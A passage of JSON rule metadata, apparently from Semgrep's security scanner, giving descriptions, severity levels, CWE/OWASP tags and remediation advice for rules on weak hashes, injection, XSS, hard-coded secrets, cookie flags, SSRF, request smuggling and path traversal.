instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","id":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","name":"python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.rocket.nosql.mongodb-taint.mongodb-taint","id":"rust.rocket.nosql.mongodb-taint.mongodb-taint","name":"rust.rocket.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"An expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.el-injection.el-injection","id":"java.lang.security.audit.el-injection.el-injection","name":"java.lang.security.audit.el-injection.el-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.el-injection.el-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string","id":"java.spring.security.injection.tainted-html-string.tainted-html-string","name":"java.spring.security.injection.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","id":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","name":"java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisfactory-hardcoded-password.jedis-jedisfactory-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","id":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","name":"python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-hardcoded-secret.python-pg8000-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","id":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","name":"python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-false.fastapi-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli)\n - [https://www.npmjs.com/package/pg](https://www.npmjs.com/package/pg)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.pg.express-pg-sqli.express-pg-sqli","id":"javascript.express.pg.express-pg-sqli.express-pg-sqli","name":"javascript.express.pg.express-pg-sqli.express-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.pg.express-pg-sqli.express-pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Detected a Context with autoescape disabled. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","id":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","name":"python.django.security.audit.xss.context-autoescape-off.context-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.context-autoescape-off.context-autoescape-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate)\n - [https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345](https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345)\n","text":"$VAR.getRate() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","id":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","name":"solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getrate.balancer-readonly-reentrancy-getrate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"help":{"markdown":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod may use the node network namespace. This gives the pod access to the loopback device, services listening on localhost, and could be used to snoop on network activity of other pods on the same node. Remove the 'hostNetwork' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","id":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","name":"yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod","properties":{"precision":"very-high","tags":["CWE-406: Insufficient Control of Network Message Volume (Network Amplification)","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostnetwork-pod.hostnetwork-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltopdf` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","id":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","name":"javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltopdf.security.audit.wkhtmltopdf-injection.wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","id":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","name":"python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-paramiko.tainted-django-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"help":{"markdown":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling)\n - [https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c](https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c)\n","text":"Conditions for Nginx H2C smuggling identified. H2C smuggling allows upgrading HTTP/1.1 connections to lesser-known HTTP/2 over cleartext (h2c) connections which can allow a bypass of reverse proxy access controls, and lead to long-lived, unrestricted HTTP traffic directly to back-end servers. To mitigate: WebSocket support required: Allow only the value websocket for HTTP/1.1 upgrade headers (e.g., Upgrade: websocket). WebSocket support not required: Do not forward Upgrade headers."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","id":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","name":"generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.possible-h2c-smuggling.possible-nginx-h2c-smuggling"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.insecure-hash.insecure-hash","id":"cpp.lang.security.crypto.insecure-hash.insecure-hash","name":"cpp.lang.security.crypto.insecure-hash.insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.insecure-hash.insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","id":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","name":"javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-jwt-hardcoded-secret.express-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". If this wasn't intentional, it's recommended to set the the `SameSite` attribute of the important cookies (e.g., session cookie) to either `Strict` or `Lax`. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement. You can use the Cookie Policy Middleware to globally set the `SameSite` attribute. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","id":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","name":"csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal."},"help":{"markdown":"String argument $A is used to read or write data from a file via Path.Combine without direct sanitization via Path.GetFileName. If the path is user-supplied data this can lead to path traversal.\n\n<b>References:</b>\n - [Semgrep 